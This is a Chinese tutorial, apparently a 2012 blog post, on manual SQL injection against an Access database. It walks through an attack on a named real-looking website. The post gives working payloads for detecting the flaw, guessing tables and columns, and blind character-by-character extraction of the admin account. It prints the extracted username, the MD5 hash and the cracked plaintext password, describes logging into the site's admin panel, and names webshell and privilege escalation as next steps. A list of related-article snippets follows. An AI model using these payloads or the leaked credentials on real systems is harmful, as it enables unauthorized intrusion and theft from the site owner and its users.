想起 苦学技术的梯子真是感慨万千,别人在背英语句子,而卧却在背数据库语句,同样都是英文 ,可为啥咱英语成绩还是不及格-- 
 
言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有不合适的地方,所以学会手工注入还是很重要的,今天的教程就给大家说说手工注入,新手一起来看,老鸟直接飞过好了。 
 
动态脚本语言(例 asp php aspx jsp等),总会与数据库关联,带入相应的变量来查询指定数据,当这种查询被我们控制时,也就形成了注入 
 
比如下面这个链接  
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 
 
很正常的URL,提交这个URL,假设服务器进行像select * from news id=''ID的查询语句(news为表名,ID是提交的参数),如果我们提交select * from news id=1235 and user>0这样的语句,肯定是无法执行 ,就会报错并给与相应的错误提示 
 
下面我们来看下  看到了 爆错了吧 
 
接下来就是实战了,判断是否是注入的,可以再参数后面加一个单引号',如果是注入的,把语句带入数据库之后,语句中的单引号没有闭合,程序就会报错,根据报错的信息可以判断数据库类型,本次教程讲述acess注入,返回的信息有ODBC Microsoft Access Driver 这个时,就可以判定为acess数据库。 
 
注意一下,也可以用分号;或者--来让目标报错,这两个分别是mssql中的分离语句和注释语句的符号,在acess中会因为语句不通报错,当然,输入的时候必须要在中文状态下哈 
 
以上是符号判断,还可以用经典的 and 1=1  and 1=2注意一下 and的前面有个空格,通过这样的构造来报错,and在逻辑语言为 和 的意思,前后两语句,都为正确,则为真,返回正常,and前后有一个错,则为假,就会报错 
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235%20and%201=1  返回正常  
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and 1=2  报错了 
 
如果遇到参数像id=hacker这样的非数字,我们称之为字符型注入,这时候我们就用前面所说的去试,结果你会发现不行的,因为字符串类型不像数字型直接取之,需要用单引号包含起来,让他报错  'and' '1'=1 
'and' '1'=2 这样的 
这里没有准备字符串的,不做详细演示了,试了下数字的用这样不行哈 
 
教程继续....... 
 
接下来我们猜解表段数据,提交 and exists (select * from admin)返回正常,证明存在admin这个表段,提交 and exists (select * from admin1)报错了,就证明不存在admin1这个表段 
 
为了让大家更明白,我解释下每句的意思 
 
exists()作用是:如果是返回结果集,就为真,否则为假 
*是通配符,代表任意字符,即表示存在数据 
select * from admin表示:在admin表段中存在数据 ,即可知道有无admin表段,这个直接决定了exists()真假,就可以作出相应的判断了 
 
所以平时要多搜集些常用的表名,像我们在入侵是时候,一般都是找后台,因为权限。我们继续猜解admin下的字段 
 
把*替换为count(username)   
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and exists (select count(username) from admin) 
刚才填写的出了点问题,菜鸟哈,见谅。返回了正常页面,说明username字段存在 
 
提交 and exists (select count(username1) from admin)返回错误,说明username1字段不存在 
 
解释下 
count():返回指定的条件行数,存在字段,返回1,exists()为真,返回正常页面。不存在字段,返回0,程序报错。 
 
接着判断数据长度,用到如下语句: 
 
and (select top 1 len(username)from admin)>12 
返回正常,则代表username第一行长度大于12 
and (select top 1 len(username)from admin)>13  
返回错误,就代表username第一行长度不大于13,即小于等于。 
 
所以可以通过更改后面的数字确定长度 
and (select top 1 len(username)from admin)>数字 
 
被叫成username第一行长度即为13 
 
解释下 
 
len()这个函数是判断数据长度 
top 1表示第一行内容,同理猜解第二行 即top 2 
 
 
接下来就是判断内容了,我们用 mid(列名,n,1)来截取第n位字符,再用asc()函数转化为ASCII码 
 
and (select top 1 asc(mid(username,1,1))from admin)>97 
提交这样的信息,返回错误,就代表第一位ASCII码小于等于97 
and (select top 1 asc(mid(username,1,1))from admin)>96 
提交这样的信息,返回正确,就代表第一位ASCII码大于96 
 
教程中网站的ASCII码即97 
 
再用ascii转换工具把ASCII码转换为字符 抱歉工具有问题,我汗  没准备好 稍等 
 
教程继续  ASCII  97  转换  >>  a 
 
这里97转化为a,即第一位是a。 
同理判断出后面的字符 
 
and (select top 1 asc(mid(username,2,1))from admin)>97 
根据操作我们判断出来了 
ASCII  100  转换  >>  d 
接下来的我就不一一操作了 我这里已经猜解好了整个字段 的第一行  
我有找了下 发现了password表段 这里保存的是密码,接下来就是找后台了 
 
[password] : 01624cf92e696e77 
[username] : administrator 
 
01624cf92e696e77对于这样的密码有的朋友可能会直接去登陆后台,发现密码错误,实际上是使用了一种叫做MD5加密的方式,由于是不可逆的(具体自己百度),我们只能选择暴力破解或者去相关的网站查询,当然,如果管理员太BT,哪里都弄不到的,就要自己另辟蹊径了 
 
我这里推荐三个MD5解密网站 
 
www.cmd5.com 
www.md5.org.cn 
www.md5.com.cn 
 
查到了明文 
Md5:01624cf92e696e77 
Result: zxtx007 
 
我们在弄出后台 我这里用的明小子,其实怎么弄都差不多....出来后台就可以 
 
http://www.tri-cel.com/admin/index.asp 
这个就是后台登陆的页面了 我们用刚才注入得到的东西登陆下 
 
登陆成功 
 
接下来的就是拿webshell和提权

2012最新网站手工注入详解教程相关推荐

  1. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  2. 公司企业网站SEO优化详解教程

    公司企业网站seo优化详细教程 公司网站或者说企业网站如何优化是很多企业主关心的问题.特别是小型公司企业网站,通过seo优化技术,达成目标关键词排名的概率较大,更为容易.另外,达成海量的长尾词排名的难 ...

  3. 最新Spring整合MyBatis详解教程

    目录 1.导入相关jar包 1. junit 2. mybatis 3. mysql 4. spring相关 5. aop织入 6. mybatis-spring 7. lombok(选用) 2.回顾 ...

  4. 多图详解教程:Eclipse 3.6连接Tomcat 7

    多图详解教程:最新版本Java环境Eclipse 3.6连接最新版本开源Web服务器Tomcat 7.假如我们想将Java 的项目自己配环境浏览的话可以来看一下本文. 本文总共分为3大步分别为配置JR ...

  5. Spring 3.0 注解注入详解

    Spring 3.0 注解注入详解 2011-04-15 09:44 17ZOUGUO ITEYE博客 我要评论(1) 字号:T | T AD: 一.各种注解方式 1.@Autowired注解(不推荐 ...

  6. 5W字高质量java并发系列详解教程(上)-附PDF下载

    文章目录 第一章 java.util.concurrent简介 主要的组件 Executor ExecutorService ScheduledExecutorService Future Count ...

  7. mysql sleep详解_sql注入详解(二)

    sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...

  8. book mac pro怎么重装系统_如何在Macbook Pro上安装三系统详解教程?

    苹果笔记本一直深受用户青睐,对于MacBook Pro是2006年发行的笔记本,相信还有很多用户还在使用该款笔记本吧.至于MacBook Pro系统的安装,可能还有很多伙伴都不会吧?不会没关系,下面小 ...

  9. 网络安全学习--008--SQL注入之Access数据库注入详解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...

最新文章

  1. IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  2. 关于肥胖和美国为什么那么多胖子
  3. ViewPager+Fragment切换时无法更新数据问题解析(源代码分享)
  4. 智能合约重构社会契约 (4)预言机基础说明
  5. NLog源码解读——StringBuilderPool
  6. C语言开发fastcgi初探(一)
  7. 专家视角 | 小荷的 Oracle Database 18c 新特性快速一瞥
  8. 【vim新手心得】最常用快捷键、编辑器vim插件使用心得(VsVim、IdeaVim、Vimium)
  9. python图书馆座位预约系统毕业设计开题报告
  10. VSCODE Vue插件
  11. 利用Excel绘制超好看的直方图与正态分布曲线
  12. Java 金额转换帮助类(元转分)
  13. 用Vue实现一个简单的图片轮播
  14. 50道MySQL面试题,掌握之后你将获得无上法力,一发不可收拾!
  15. python3 x完全兼容_中国大学MOOC: Python 3.x 系列版本代码完全兼容 Python 2.x系列的既有语法。...
  16. 漏洞扫描的原理与设计
  17. HikariCP数据库连接配置详解
  18. 看张亚飞《.Net for Flash FMS》的笔记
  19. 计算机博士军校研究所工作,军校博士毕业怎么分配?
  20. 内网服务通过frp内网穿透映射到公网

热门文章

  1. solidworks批量图号分离_SolidWorks2014基于宏实现快速图号名称分离.docx
  2. 初学者怎么快速学习3D建模?零基础必备建模知识,你都明白吗?
  3. 人证核验、人证比对系统应用行业如何判别
  4. deepnode软件下载地址_安卓苹果软件下载地址恢复
  5. HTML简单静态页面的编写
  6. 利用python进行数据处理
  7. 德艺双馨艺术家——刘文军
  8. 男孩子读博士的十大好处
  9. java技术路线思维导图_开题报告中的研究方法及技术路线指的啥?
  10. 事业单位计算机专业能力测试考什么内容,事业单位职业能力测试考什么